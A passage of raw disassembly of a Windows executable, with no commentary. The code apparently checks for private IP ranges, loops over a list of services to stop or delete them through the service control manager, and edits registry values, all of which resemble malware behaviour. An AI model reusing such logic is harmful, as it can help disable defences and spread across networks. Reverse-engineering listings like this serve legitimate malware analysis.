[ebp-111h] cmp eax, 0ACh jnz short loc_43FFA4 mov al, [ebp-112h] cmp al, 0Fh jbe short loc_43FFA4 cmp al, 21h jnb short loc_43FFA4 call sub_440915 movzx edi, byte ptr [ebp-132h] push edi movzx edi, byte ptr [ebp-131h] push edi mov edx, eax and edx, 8000000Fh jge short loc_43FF8A dec edx or edx, 0FFFFFFF0h inc edx loc_43FF8A: ; CODE XREF: .data:0043FF83j mov edi, edx add edi, 10h push edi push 404D3Ch lea edi, [ebp-130h] push edi call sub_44092D add esp, 14h loc_43FFA4: ; CODE XREF: .data:0043FF56j ; .data:0043FF60j ... movzx eax, byte ptr [ebp-111h] cmp eax, 0C0h jnz short loc_43FFE4 movzx eax, byte ptr [ebp-112h] cmp eax, 0A8h jnz short loc_43FFE4 movzx eax, byte ptr [ebp-132h] push eax movzx eax, byte ptr [ebp-131h] push eax push 404D2Eh lea eax, [ebp-130h] push eax call sub_44092D add esp, 10h loc_43FFE4: ; CODE XREF: .data:0043FFB0j ; .data:0043FFBEj lea eax, [ebp-130h] push eax call sub_4405B9 cmp [ebp-10Ch], eax jz loc_43FE22 push dword ptr [ebp-10Ch] call sub_4405C5 movzx edi, word ptr ds:loc_40408F+5 push edi push eax push 404D27h lea edi, [ebp-0FFh] push edi call sub_44092D add esp, 10h loc_440024: ; CODE XREF: .data:0044004Dj lea ecx, [ebp-0FFh] or eax, 0FFFFFFFFh loc_44002D: ; CODE XREF: .data:00440032j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_44002D cmp eax, 19h jz short loc_44004F push 404D25h lea eax, [ebp-0FFh] push eax call sub_440945 add esp, 8 jmp short loc_440024 ; --------------------------------------------------------------------------- loc_44004F: ; CODE XREF: .data:00440037j lea ecx, [ebp-0FFh] or eax, 0FFFFFFFFh loc_440058: ; CODE XREF: .data:0044005Dj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440058 push eax lea edi, [ebp-0FFh] push edi mov edi, ebx add edi, 9 push edi call sub_4408F1 add esp, 0Ch lea eax, [ebp-130h] push eax call sub_4405B9 push esi push ebx push eax call sub_43F74D add esp, 0Ch mov [ebp-13Ch], eax push 0 call sub_4408D9 add esp, 4 jmp loc_43FE22 ; --------------------------------------------------------------------------- db 5Fh, 5Eh, 5Bh dd 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4400A8 proc near ; CODE XREF: .data:004400EAp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_440729 cmp eax, 80000000h jb short loc_4400BF mov eax, 3Ch jmp short locret_4400E0 ; --------------------------------------------------------------------------- loc_4400BF: ; CODE XREF: sub_4400A8+Ej push 0 lea eax, [ebp+var_4] push eax call sub_44060D and [ebp+var_4], 2 cmp [ebp+var_4], 2 jnz short loc_4400DB mov eax, 12Ch jmp short locret_4400E0 ; --------------------------------------------------------------------------- loc_4400DB: ; CODE XREF: sub_4400A8+2Aj mov eax, 64h locret_4400E0: ; CODE XREF: sub_4400A8+15j ; sub_4400A8+31j leave retn sub_4400A8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push ebx push esi push edi call sub_4400A8 mov ebx, eax lea eax, [ebp-4] push eax push 0 push 0 push 401565h push 0 push 0 call sub_4407B9 push eax call sub_440711 xor esi, esi jmp short loc_440143 ; --------------------------------------------------------------------------- loc_440111: ; CODE XREF: .data:00440145j lea eax, [ebp-4] push eax push 0 push 0 push 401E23h push 0 push 0 call sub_4407B9 push eax call sub_440711 mov eax, 0EA60h xor edx, edx div ebx mov [ebp-8], eax mov edi, eax push eax call sub_4408D9 pop ecx inc esi loc_440143: ; CODE XREF: .data:0044010Fj cmp esi, ebx jb short loc_440111 pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44014E proc near ; CODE XREF: sub_44041D+ACp var_388 = dword ptr -388h var_384 = dword ptr -384h var_380 = dword ptr -380h var_37C = dword ptr -37Ch var_378 = dword ptr -378h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 388h push ebx push esi push edi lea edi, [ebp+var_16C] lea esi, loc_404A34+4 mov ecx, 51h rep movsd and [ebp+var_24], 0 loc_440171: ; CODE XREF: sub_44014E+211j push 0F003Fh push 0 push 0 call sub_440861 mov [ebp+var_28], eax or eax, eax jz loc_440358 push 0F003Fh mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_370], eax push [ebp+eax+var_16C] push [ebp+var_28] call sub_44086D mov ebx, eax or eax, eax jz loc_440350 lea eax, [ebp+var_20] push eax push 1 push ebx call sub_440849 mov [ebp+var_4], eax and [ebp+var_4], 0 loc_4401C9: ; CODE XREF: sub_44014E+A4j lea eax, [ebp+var_20] push eax push 4 push ebx call sub_440849 or eax, eax jz short loc_4401DF cmp [ebp+var_1C], 1 jnz short loc_4401E1 loc_4401DF: ; CODE XREF: sub_44014E+89j jmp short loc_4401F4 ; --------------------------------------------------------------------------- loc_4401E1: ; CODE XREF: sub_44014E+8Fj push 3E8h call sub_440795 inc [ebp+var_4] cmp [ebp+var_4], 0Ah jb short loc_4401C9 loc_4401F4: ; CODE XREF: sub_44014E:loc_4401DFj mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_374], eax cmp [ebp+eax+var_168], 0 jz short loc_440212 push ebx call sub_440855 loc_440212: ; CODE XREF: sub_44014E+BCj push ebx call sub_44083D mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_378], eax cmp [ebp+eax+var_164], 0 jz loc_440350 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_37C], eax mov eax, [ebp+eax+var_164] cmp byte ptr [eax], 0 jnz loc_4402D8 push 0 push 18h lea eax, [ebp+var_36C] push eax push 0 call sub_440619 or eax, eax jz short loc_4402D8 lea ecx, [ebp+var_36C] or eax, 0FFFFFFFFh loc_440271: ; CODE XREF: sub_44014E+128j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440271 mov [ebp+var_4], eax cmp [ebp+var_4], 1 jbe short loc_4402A5 mov eax, [ebp+var_4] sub eax, 1 cmp [ebp+eax+var_36C], 5Ch jz short loc_4402A5 push offset sub_404BA0 lea eax, [ebp+var_36C] push eax call sub_440945 add esp, 8 loc_4402A5: ; CODE XREF: sub_44014E+131j ; sub_44014E+141j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_380], eax mov eax, [ebp+eax+var_164] push dword ptr [eax+8] lea eax, [ebp+var_36C] push eax call sub_440945 add esp, 8 lea eax, [ebp+var_36C] push eax call sub_4407C5 loc_4402D8: ; CODE XREF: sub_44014E+FEj ; sub_44014E+118j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_380], eax mov eax, [ebp+eax+var_164] cmp byte ptr [eax], 1 jnz short loc_440350 lea eax, [ebp+var_4] push eax push 20006h push 0 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_384], eax mov edx, [ebp+eax+var_164] push dword ptr [edx+4] mov eax, [ebp+eax+var_164] push dword ptr [eax+0Ch] call sub_44089D or eax, eax jnz short loc_440350 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_388], eax mov eax, [ebp+eax+var_164] push dword ptr [eax+8] push [ebp+var_4] call sub_440879 push [ebp+var_4] call sub_440891 loc_440350: ; CODE XREF: sub_44014E+62j ; sub_44014E+E0j ... push [ebp+var_28] call sub_44083D loc_440358: ; CODE XREF: sub_44014E+36j inc [ebp+var_24] cmp [ebp+var_24], 1Bh jb loc_440171 pop edi pop esi pop ebx leave retn 4 sub_44014E endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push edi mov eax, [ebp+0Ch] cmp eax, 10h jz short loc_4403FA jg short loc_440387 cmp eax, 2 jz short loc_4403F1 jmp loc_440407 ; --------------------------------------------------------------------------- loc_440387: ; CODE XREF: .data:0044037Bj cmp eax, 113h jnz short loc_440407 and dword ptr [ebp-4], 0 mov dword ptr [ebp-8], 4 lea eax, [ebp-10h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push 404B81h push 404B85h push 80000001h call sub_43F38C mov eax, dword ptr ds:sub_404098 mov [ebp-0Ch], eax add [ebp-4], eax push 4 push 4 lea eax, [ebp-4] push eax push 404B81h push 404B85h push 80000001h call sub_43F321 add esp, 30h push 0 push offset sub_404098 call sub_440741 jmp short loc_440418 ; --------------------------------------------------------------------------- loc_4403F1: ; CODE XREF: .data:00440380j push 0 call sub_44080D jmp short loc_440418 ; --------------------------------------------------------------------------- loc_4403FA: ; CODE XREF: .data:00440379j push dword ptr ds:loc_402FFA+6 call sub_440825 jmp short loc_440418 ; --------------------------------------------------------------------------- loc_440407: ; CODE XREF: .data:00440382j ; .data:0044038Cj push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_440831 loc_440418: ; CODE XREF: .data:004403EFj ; .data:004403F8j ... pop edi leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44041D proc near ; CODE XREF: sub_440625+5Cp var_2DC = byte ptr -2DCh var_2D8 = byte ptr -2D8h var_148 = dword ptr -148h var_143 = byte ptr -143h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2DCh push edi mov edi, [ebp+arg_0] push [ebp+arg_8] push offset sub_403010 call sub_4406A9 push 404B7Ch lea eax, [ebp+var_143] push eax call sub_44092D and [ebp+var_44], 0 lea eax, loc_4023A6+1 mov [ebp+var_40], eax and [ebp+var_3C], 0 and [ebp+var_38], 0 mov [ebp+var_34], edi and [ebp+var_30], 0 and [ebp+var_2C], 0 and [ebp+var_28], 0 and [ebp+var_24], 0 lea eax, [ebp+var_143] mov [ebp+var_20], eax lea eax, [ebp+var_44] push eax call sub_4407DD push 0 push edi push 0 push 0 push 0 push 0 push 0 push 0 push 0CF0000h push 404D25h lea eax, [ebp+var_143] push eax push 0 call sub_440819 mov dword ptr ds:loc_402FFA+6, eax call sub_4406ED push eax call sub_43F2FC lea eax, [ebp+var_2D8] push eax push 2 call sub_440559 push 0 call sub_44014E lea eax, [ebp+var_2DC] push eax push 0 push 0 push 40211Dh push 0 push 0 call sub_4407B9 push eax call sub_440711 and [ebp+var_148], 0 push 4 push 4 lea eax, [ebp+var_148] push eax push 404B81h push 404B85h push 80000001h call sub_43F321 add esp, 24h push 0 push 2710h push 1 push dword ptr ds:loc_402FFA+6 call sub_4407D1 jmp short loc_44053E ; --------------------------------------------------------------------------- loc_44052C: ; CODE XREF: sub_44041D+132j lea eax, [ebp+var_1C] push eax call sub_4407F5 lea eax, [ebp+var_1C] push eax call sub_440801 loc_44053E: ; CODE XREF: sub_44041D+10Dj push 0 push 0 push 0 lea eax, [ebp+var_1C] push eax call sub_4407E9 or eax, eax jnz short loc_44052C pop edi leave retn 10h sub_44041D endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440559 proc near ; CODE XREF: sub_44041D+A5p jmp dword ptr ds:loc_405249+3 sub_440559 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440565 proc near ; CODE XREF: .data:0043F623p jmp dword ptr ds:loc_40524E+2 sub_440565 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440571 proc near ; CODE XREF: .data:0043F5F0p jmp dword ptr ds:loc_405251+3 sub_440571 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44057D proc near ; CODE XREF: .data:0043F51Ep ; sub_43F74D+651p jmp dword ptr ds:loc_405256+2 sub_44057D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440589 proc near ; CODE XREF: sub_43F74D+1BAp jmp dword ptr ds:locret_40525C sub_440589 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440595 proc near ; CODE XREF: sub_43FDAE+20p jmp dword ptr ds:loc_40525F+1 sub_440595 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405A1 proc near ; CODE XREF: sub_43FDAE+Ep jmp dword ptr ds:loc_405264 sub_4405A1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405AD proc near ; CODE XREF: .data:0043F5DEp ; sub_43F74D+197p jmp dword ptr ds:loc_405268 sub_4405AD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405B9 proc near ; CODE XREF: .data:0043FFEBp ; .data:0044007Cp jmp dword ptr ds:loc_40526C sub_4405B9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405C5 proc near ; CODE XREF: sub_43F74D+63p ; .data:00440002p jmp dword ptr ds:loc_40526C+4 sub_4405C5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405D1 proc near ; CODE XREF: .data:0043F60Ep jmp dword ptr ds:loc_405271+3 sub_4405D1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405DD proc near ; CODE XREF: .data:0043F3FEp ; sub_43F74D+20Bp ... jmp dword ptr ds:loc_405278 sub_4405DD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405E9 proc near ; CODE XREF: .data:0043F450p ; .data:0043F48Cp ... jmp dword ptr ds:loc_405279+3 sub_4405E9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405F5 proc near ; CODE XREF: .data:0043F516p ; sub_43F74D+649p jmp dword ptr ds:loc_40527E+2 sub_4405F5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440601 proc near ; CODE XREF: .data:0043F5A7p ; sub_43F74D+48p jmp dword ptr ds:loc_405281+3 sub_440601 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44060D proc near ; CODE XREF: sub_4400A8+1Dp jmp dword ptr ds:loc_40528C+4 sub_44060D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440619 proc near ; CODE XREF: sub_44014E+111p jmp dword ptr ds:loc_40529A+2 sub_440619 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440625 proc near ; CODE XREF: .data:0043F244p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push edi call sub_4406E1 mov edi, eax cmp byte ptr [edi], 22h jnz short loc_440659 push 22h mov eax, edi inc eax push eax call sub_440951 add esp, 8 mov [ebp+var_4], eax or eax, eax jz short loc_440674 mov edi, eax inc edi jmp short loc_440651 ; --------------------------------------------------------------------------- loc_440650: ; CODE XREF: sub_440625+2Fj inc edi loc_440651: ; CODE XREF: sub_440625+29j cmp byte ptr [edi], 20h jz short loc_440650 jmp short loc_440674 ; --------------------------------------------------------------------------- loc_440658: ; CODE XREF: sub_440625+3Ej inc edi loc_440659: ; CODE XREF: sub_440625+Fj movsx eax, byte ptr [edi] or eax, eax jz short loc_440665 cmp eax, 20h jnz short loc_440658 loc_440665: ; CODE XREF: sub_440625+39j jmp short loc_440668 ; --------------------------------------------------------------------------- loc_440667: ; CODE XREF: sub_440625+4Dj inc edi loc_440668: ; CODE XREF: sub_440625:loc_440665j movsx eax, byte ptr [edi] or eax, eax jz short loc_440674 cmp eax, 20h jz short loc_440667 loc_440674: ; CODE XREF: sub_440625+24j ; sub_440625+31j ... push 0 call sub_440705 push 1 push edi push 0 push eax call sub_44041D pop edi leave retn sub_440625 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_440689 proc near ; CODE XREF: sub_43F74D+8p var_FFC = dword ptr -0FFCh pop ecx loc_44068A: ; CODE XREF: sub_440689+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_44068A sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_440689 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_4406A9 proc near ; CODE XREF: sub_44041D+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_4406A9 endp ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406D5 proc near ; CODE XREF: .data:0043F564p jmp dword ptr ds:loc_4052A7+1 sub_4406D5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406E1 proc near ; CODE XREF: sub_440625+5p jmp dword ptr ds:loc_4052A7+5 sub_4406E1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406ED proc near ; CODE XREF: sub_44041D+91p jmp dword ptr ds:loc_4052AE+2 sub_4406ED endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406F9 proc near ; CODE XREF: .data:0043F56Cp jmp dword ptr ds:loc_4052B3+1 sub_4406F9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440705 proc near ; CODE XREF: sub_440625+51p jmp dword ptr ds:loc_4052B5+3 sub_440705 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440711 proc near ; CODE XREF: .data:0043F59Cp ; .data:0043F640p ... jmp dword ptr ds:loc_4052B5+7 sub_440711 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44071D proc near ; CODE XREF: .data:0043FDF4p jmp dword ptr ds:loc_4052BF+1 sub_44071D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440729 proc near ; CODE XREF: sub_4400A8+4p jmp dword ptr ds:loc_4052BF+5 sub_440729 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440735 proc near ; CODE XREF: sub_43F2FC+1Ep jmp dword ptr ds:loc_4052C7+1 sub_440735 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440741 proc near ; CODE XREF: .data:0043F53Ap ; .data:004403EAp jmp dword ptr ds:loc_4052CB+1 sub_440741 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44074D proc near ; CODE XREF: .data:0043F4DEp jmp dword ptr ds:loc_4052D0 sub_44074D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440759 proc near ; CODE XREF: .data:0043F579p ; .data:0043FE0Cp jmp dword ptr ds:loc_4052D0+4 sub_440759 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440765 proc near ; CODE XREF: .data:0043F556p jmp dword ptr ds:loc_4052D7+1 sub_440765 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440771 proc near ; CODE XREF: .data:0043F596p jmp dword ptr ds:loc_4052D7+5 sub_440771 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44077D proc near ; CODE XREF: sub_43F03F+13p jmp dword ptr ds:loc_4052D7+9 sub_44077D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440789 proc near ; CODE XREF: .data:0043F5B4p ; sub_43F74D+17Ep jmp dword ptr ds:loc_4052E3+1 sub_440789 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440795 proc near ; CODE XREF: .data:0043F4D2p ; .data:0043F50Cp ... jmp dword ptr ds:loc_4052E3+5 sub_440795 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407A1 proc near ; CODE XREF: sub_43F74D+72p jmp dword ptr ds:loc_4052EA+2 sub_4407A1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407AD proc near ; CODE XREF: sub_43F74D+BBp ; sub_43F74D+D9p ... jmp dword ptr ds:loc_4052F0 sub_4407AD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407B9 proc near ; CODE XREF: .data:0043F63Ap ; .data:00440102p ... jmp dword ptr ds:sub_4052F4 sub_4407B9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407C5 proc near ; CODE XREF: sub_44014E+185p jmp dword ptr ds:loc_4052F7+1 sub_4407C5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407D1 proc near ; CODE XREF: sub_44041D+108p jmp dword ptr ds:loc_405300+4 sub_4407D1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407DD proc near ; CODE XREF: sub_44041D+60p jmp dword ptr ds:loc_405308 sub_4407DD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407E9 proc near ; CODE XREF: sub_44041D+12Bp jmp dword ptr ds:loc_405308+4 sub_4407E9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407F5 proc near ; CODE XREF: sub_44041D+113p jmp dword ptr ds:loc_40530E+2 sub_4407F5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440801 proc near ; CODE XREF: sub_44041D+11Cp jmp dword ptr ds:loc_405314 sub_440801 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44080D proc near ; CODE XREF: .data:004403F3p jmp dword ptr ds:loc_405314+4 sub_44080D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440819 proc near ; CODE XREF: sub_44041D+87p jmp dword ptr ds:loc_40531B+1 sub_440819 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440825 proc near ; CODE XREF: .data:00440400p jmp dword ptr ds:loc_40531F+1 sub_440825 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440831 proc near ; CODE XREF: .data:00440413p jmp dword ptr ds:loc_405324 sub_440831 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44083D proc near ; CODE XREF: sub_44014E+C5p ; sub_44014E+205p jmp dword ptr ds:loc_40532E+2 sub_44083D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440849 proc near ; CODE XREF: sub_44014E+6Fp ; sub_44014E+82p jmp dword ptr ds:loc_405332+2 sub_440849 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440855 proc near ; CODE XREF: sub_44014E+BFp jmp dword ptr ds:loc_405336+2 sub_440855 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440861 proc near ; CODE XREF: sub_44014E+2Cp jmp dword ptr ds:loc_40533B+1 sub_440861 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44086D proc near ; CODE XREF: sub_44014E+59p jmp dword ptr ds:loc_40533F+1 sub_44086D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440879 proc near ; CODE XREF: sub_44014E+1F5p jmp dword ptr ds:loc_405344 sub_440879 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440885 proc near ; CODE XREF: sub_43F321+21p jmp dword ptr ds:loc_405348 sub_440885 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440891 proc near ; CODE XREF: sub_43F321+4Bp ; sub_43F38C+40p ... jmp dword ptr ds:loc_40534B+1 sub_440891 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44089D proc near ; CODE XREF: sub_43F38C+16p ; sub_44014E+1D1p jmp dword ptr ds:loc_405350 sub_44089D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408A9 proc near ; CODE XREF: sub_43F38C+36p jmp dword ptr ds:loc_405350+4 sub_4408A9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408B5 proc near ; CODE XREF: sub_43F321+41p jmp dword ptr ds:loc_405357+1 sub_4408B5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408C1 proc near ; CODE XREF: sub_43F261+15p jmp dword ptr ds:loc_405362+2 sub_4408C1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408CD proc near ; CODE XREF: .data:0043F227p jmp dword ptr ds:loc_405367+1 sub_4408CD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408D9 proc near ; CODE XREF: .data:0043FE36p ; .data:0043FE70p ... jmp dword ptr ds:loc_40536C sub_4408D9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408E5 proc near ; CODE XREF: .data:0043F252p jmp dword ptr ds:loc_40536D+3 sub_4408E5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408F1 proc near ; CODE XREF: sub_43F74D+B2p ; sub_43F74D+D0p ... jmp dword ptr ds:loc_405372+2 sub_4408F1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408FD proc near ; CODE XREF: sub_43F74D+16Dp ; sub_43F74D+2E4p ... jmp dword ptr ds:loc_405375+3 sub_4408FD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440909 proc near ; CODE XREF: .data:0043F1A8p jmp dword ptr ds:loc_40537B+1 sub_440909 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440915 proc near ; CODE XREF: sub_43F64C:loc_43F675p ; sub_43F64C:loc_43F6CFp ... jmp dword ptr ds:loc_405380 sub_440915 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440921 proc near ; CODE XREF: .data:0043F161p ; .data:0043F17Bp ... jmp dword ptr ds:loc_405383+1 sub_440921 endp ; --------------------------------------------------------------------------- 